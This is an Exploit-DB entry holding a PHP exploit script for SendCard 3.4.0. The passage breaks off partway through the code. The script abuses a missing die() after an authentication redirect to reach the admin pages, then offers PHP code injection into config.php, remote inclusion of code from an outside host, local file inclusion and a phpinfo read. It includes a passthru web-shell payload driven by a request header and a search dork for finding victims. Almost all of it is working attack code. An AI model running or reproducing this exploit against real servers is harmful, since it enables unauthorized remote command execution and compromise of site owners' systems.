Exploit-DB #2117
Description: SendCard 3.4.0 - Unauthorized Administrative Access
Type: webapps
Platform: php
Date: 2006-08-03
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "SendCard <= 3.4.0 unauthorized administrative access / remote commands\n";
echo "execution exploit\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"Powered by sendcard - an advanced PHP e-card program\"\n\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path action [location] [cmd] OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to sendcard\n";
echo "action:    1 -> php injection\n";
echo "           works against magic_quotes_gpc=Off\n";
echo "           2 -> arbitrary remote inclusion\n";
echo "           works against allow_url_fopen=On\n";
echo "           3 -> arbitrary local inclusion\n";
echo "           works regardless of php.ini settings\n";
echo "           and if you succeed to include Apache logs\n";
echo "           4 -> read phpinfo()\n";
echo "[location] a remote http location with the code to include\n";
echo "           needed by 2, with an ending slash\n";
echo "[cmd]:     a shell command, needed by 1-3\n";
echo "Options:\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "Example:\n";
echo "php ".$argv[0]." localhost /sendcard/ 1 ls -la\n";
echo "php ".$argv[0]." localhost /sendcard/ 2 http://somehost.com/ ls -la\n";
echo "php ".$argv[0]." localhost /sendcard/ 3 ls -la\n";
echo "php ".$argv[0]." localhost /sendcard/ 4 > phpinfo.html\n";
echo "php ".$argv[0]." localhost /sendcard/ 4 -p81> phpinfo.html\n";
echo "php ".$argv[0]." localhost /sendcard/ 4 -P1.1.1.1:80 > phpinfo.html\n";
echo "note: for action 2 you need this code in http://somehost.com/sendcard_setup.php/index.html :\n";
echo "<?php set_time_limit(0);echo 'sun-tzu';passthru(\$_SERVER(\"HTTP_CLIENT_IP\");echo 'sun-tzu';die;?>\n";
die;
}

/*
software site: http://www.sendcard.org/

vulnerable code in admin/prepend.php near lines 32-34:

[*]
...
	if(!isset($_SESSION['session']["password"]) || $_SESSION['session']["password"] != ADMIN_PASSWORD) {
		header("Location: login.php?redirect=" . basename($_SERVER['PHP_SELF']));
	}
...

should be instead:

[**]
...
if(!isset($_SESSION['session']["password"]) || $_SESSION['session']["password"] != ADMIN_PASSWORD) {
		header("Location: login.php?redirect=" . basename($_SERVER['PHP_SELF']));
		die; // <---------------------[! ;)]
	}
...

[*] is included by all scripts in admin/ folder
this means that maybe redirection works if you try to access the admin scripts
through the browser... but what happens if you do the bad work through a script? eheheheheheh

so you can have access to all admin scripts to...
(1) inject php code in config.php through admin/setup.php script,
    this works fine with magic_quotes_gpc = Off
(2) inject an arbitrary http location in config.php and go to admin/mod_stats.php
    to include evil code from it, this works with allow_url_fopen=On
(3) include an arbitrary file from local resource thorugh admin/mod_stats.php,
    ex: apache logs, this works regardless of php.ini settings...
(4) see phpinfo() through admin/mod_phpinfo.php to choose which exploitation method
    is better eheheheheheheh

									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$c=4;$host=$argv[1];$path=$argv[2];$action=(int)$argv[3];
if ($action==2) {$location=$argv[4]; $c=5;}$cmd="";$port=80;$proxy="";
for ($i=$c; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($action<>4)
{
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($action==1)
{
   $shell='suntzu");set_time_limit(0);echo "sun-tzu";passthru($_SERVER["HTTP_CLIENT_IP"]);echo "sun-tzu";die("suntzu';
   $data="-----------------------------7d529a1d23092a\r\n";
   $data.="Content-Disposition: form-data; name=\"cfg_docroot\";\r\n";
   $data.="Content-Type:\r\n\r\n";
   $data.="$shell\r\n";
   $data.="-----------------------------7d529a1d23092a--\r\n";
   $packet="POST ".$p."admin/setup.php?save=1 HTTP/1.0\r\n";
   $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
   $packet.="Content-Length: ".strlen($data)."\r